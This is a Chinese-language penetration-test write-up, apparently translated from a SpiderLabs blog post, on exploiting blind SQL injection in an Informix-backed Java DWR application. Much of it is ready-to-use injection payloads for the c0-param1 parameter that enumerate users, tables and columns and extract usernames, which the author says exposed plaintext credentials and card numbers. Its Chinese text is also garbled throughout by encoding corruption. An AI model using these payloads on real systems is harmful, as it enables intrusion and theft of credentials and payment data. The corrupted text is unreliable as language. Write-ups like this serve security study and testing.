Informix數(shù)據(jù)庫(kù)SQL注入實(shí)戰(zhàn)
在最近的應(yīng)用程序滲透測(cè)試中,我發(fā)現(xiàn)一個(gè)有意思的sql漏洞(SQLI中)。
SQLI出現(xiàn)這種情況的原因:
1.開(kāi)發(fā)中帶來(lái)的問(wèn)題
2.數(shù)據(jù)庫(kù)正在使用
下面,我來(lái)介紹我遇到的問(wèn)題以及如何解決并dump數(shù)據(jù)庫(kù)。該應(yīng)用程序使用一種名為DWR后端的JAVA遠(yuǎn)程調(diào)用框架,系統(tǒng)調(diào)用是這樣的:
這是位于C0-param1的參數(shù),從表面上看起來(lái)很容易,因?yàn)樗o了詳細(xì)的錯(cuò)誤信息,當(dāng)一個(gè)單引號(hào)被添加到參數(shù)尾部時(shí),會(huì)得到以下錯(cuò)誤信息:“java.sql.SQLException: A syntax error has occurred.”(語(yǔ)法錯(cuò)誤)
c0-param1參數(shù)控制有多少結(jié)果從數(shù)據(jù)庫(kù)中檢索出來(lái),這注射點(diǎn)出現(xiàn)在類(lèi)似于mssql的TOP keyword位置和MYSQL的Limit。我認(rèn)為SQLI跑MSSQL庫(kù)比MYSQL更合適。我添加一系列請(qǐng)求如下圖所示:
執(zhí)行查詢后,得到一個(gè)錯(cuò)誤信息:“java.sql.SQLException: The column (card_no) must be in the GROUP BY list.”數(shù)據(jù)庫(kù)系統(tǒng)是IBM的Informix,我對(duì)Informix了解甚少,所以還得一個(gè)函數(shù)一個(gè)函數(shù)地查IBM的文檔。
現(xiàn)在知道這是Informix,能幫助我們對(duì)次注射是怎么產(chǎn)生的,第一個(gè)子句,類(lèi)似TOP和LIMIT,查詢起來(lái)是這樣的:
c0-param1=string:10 (CASE WHEN SUBSTR((SELECT USER FROM SYSTABLES WHERE TABID = 1), 1, 1) = 'a' THEN 1 ELSE (SELECT 1 FROM SYSTABLES) END),
如果條件為真(即當(dāng)前用戶名的第一個(gè)字母為'a'),查詢將返回結(jié)果,反則會(huì)報(bào)錯(cuò),因?yàn)樽硬樵?SELECT 1 FROM SYSTABLES)會(huì)返回多個(gè)結(jié)果。然而,又有難題了,不能使用等號(hào),通過(guò)替換,使用以下語(yǔ)句:
c0-param1=string:10 (CASE WHEN SUBSTR((SELECT USER FROM SYSTABLES WHERE TABID > 0 AND TABID < 2), 1, 1) LIKE 'a' THEN 1 ELSE (SELECT 1 FROM SYSTABLES) END),
有了這些注射知識(shí)和概念就好整多了,掏出sqlmap(從我的同事那里弄到了些小技巧,而且觀摩了他的帖子“Sqlmap的高級(jí)注入技巧”),Sqlmap的確是很好的工具,作者是今年在大會(huì)上認(rèn)識(shí)的一個(gè)很不錯(cuò)的家伙寫(xiě)的。。。好像跑題了。不過(guò)遺憾的是,Sqlmap不支持Informix,所以我不得不自己寫(xiě)工具了:
獲取表名的長(zhǎng)度:
c0-param1=string:10 (CASE WHEN CHAR_LENGTH((SELECT TABNAME FROM SYSTABLES WHERE TABID > 0 AND TABID < 2)) > 1 THEN 1 ELSE (SELECT 1 FROM SYSTABLES) END),
獲取表名:
c0-param1=string:10 (CASE WHEN SUBSTR((SELECT TABNAME FROM SYSTABLES WHERE TABID > 0 AND TABID < 2), 1, 1) LIKE 'a' THEN 1 ELSE (SELECT 1 FROM SYSTABLES) END),
獲取有表中有多少列:
c0-param1=string:10 (CASE WHEN (SELECT NCOLS FROM SYSTABLES WHERE TABID > 0 AND TABID < 2) > 1 THEN 1 ELSE (SELECT 1 FROM SYSTABLES) END),
獲取列名長(zhǎng)度:
c0-param1=string:10 (CASE WHEN CHAR_LENGTH((SELECT COLNAME FROM SYSCOLUMNS WHERE (TABID > 0 AND TABID < 2) AND (COLNO > 0 AND COLNO < 2))) > 1 THEN 1 ELSE (SELECT 1 FROM SYSTABLES) END),
獲取列名:
c0-param1=string:10 (CASE WHEN SUBSTR((SELECT COLNAME FROM SYSCOLUMNS WHERE (TABID > 0 AND TABID < 2) AND (COLNO > 0 AND COLNO < 2)), 1, 1) LIKE 'a' THEN 1 ELSE (SELECT 1 FROM SYSTABLES) END),
通過(guò)一個(gè)小研究,我發(fā)現(xiàn)Informix的表實(shí)際上有一個(gè)隱藏很深的列名:ROWID,每一行都存在一個(gè)這樣的序列號(hào)。然而,這些ROWID可以分散,刪除或插入到表。為了找到包含數(shù)據(jù)的ROWID,我調(diào)用一個(gè)名為NVL的函數(shù),這個(gè)函數(shù)可以返回不同的結(jié)果,具體取決于第一個(gè)參數(shù)是否為NULL。最終找到一處可能總是包含數(shù)據(jù)的一列,語(yǔ)句:
c0-param1=string:10 (NVL((SELECT username FROM users WHERE ROWID > 0 AND ROWID < 2), (SELECT 1 FROM SYSTABLES))), c0-param1=string:10 (CASE WHEN SUBSTR((SELECT username FROM users WHERE ROWID > 0 AND ROWID < 1), 1, 1) LIKE 'a' THEN 1 ELSE (SELECT 1 FROM SYSTABLES) END),
通過(guò)這種方法,能夠發(fā)現(xiàn)純文本應(yīng)用程序憑據(jù),明文銀行SFTP憑證和未加密的支付卡號(hào)碼。
隨著這一成功,明白了以前對(duì)Informix數(shù)據(jù)庫(kù)想知道的。
原文地址:http://blog.spiderlabs.com/2013/12/the-case-of-an-obscure-injection.html